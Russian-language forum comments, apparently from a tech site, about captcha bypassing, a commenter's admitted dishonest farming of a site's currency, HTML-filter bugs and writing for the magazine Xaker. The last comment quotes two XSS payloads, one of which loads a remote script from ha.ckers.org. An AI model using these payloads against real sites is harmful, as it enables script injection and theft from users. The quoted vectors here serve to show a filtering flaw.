Боты пишутся - в основном - под конкретный движок или сайт, и никакого труда не составит написать обход капчи, не являющейся аудио или визуальной. Все варианты с js, что я видел, да и как идея - очень посредственны. Пока ниодного нормальной замены привычной капчи я не увидел.
От нечего делать решил несовсем честным способом заработать, в итоге получил 140 тысяч тамошних тугриков, кучу опыта и словил 403. Автор молодец, вспомнил юность.
Несмотря на красивый код, который я поизучал пару минут, проект имеет кучу багов в фильтрации, вложенные теги вообще очень большая проблема, хабр тоже этим страдает.
Два раза печатался в Хакере, два раза статьи признавались лучшими (а это надбавка к гонорару), там же публиковался и мой софт. За все это платят немного, но и немало для 20 кб полезного (хоть и не всегда текста). Средняя цена за статью - 150 уе, при этом она может висеть на хабре и прочих тематических ресурсах, а за публикацию вы получите еще и денег, разве не приятно? :) "Хакер" дает хороший базис, правда некоторые номера можно смело назвать сортирной литературой )
Остальные заставили ужаснуться :)
Вот парочку примеров
<img src=. onerror='alert(1);'>
<img<script src="http://ha.ckers.org/xss.js"></script>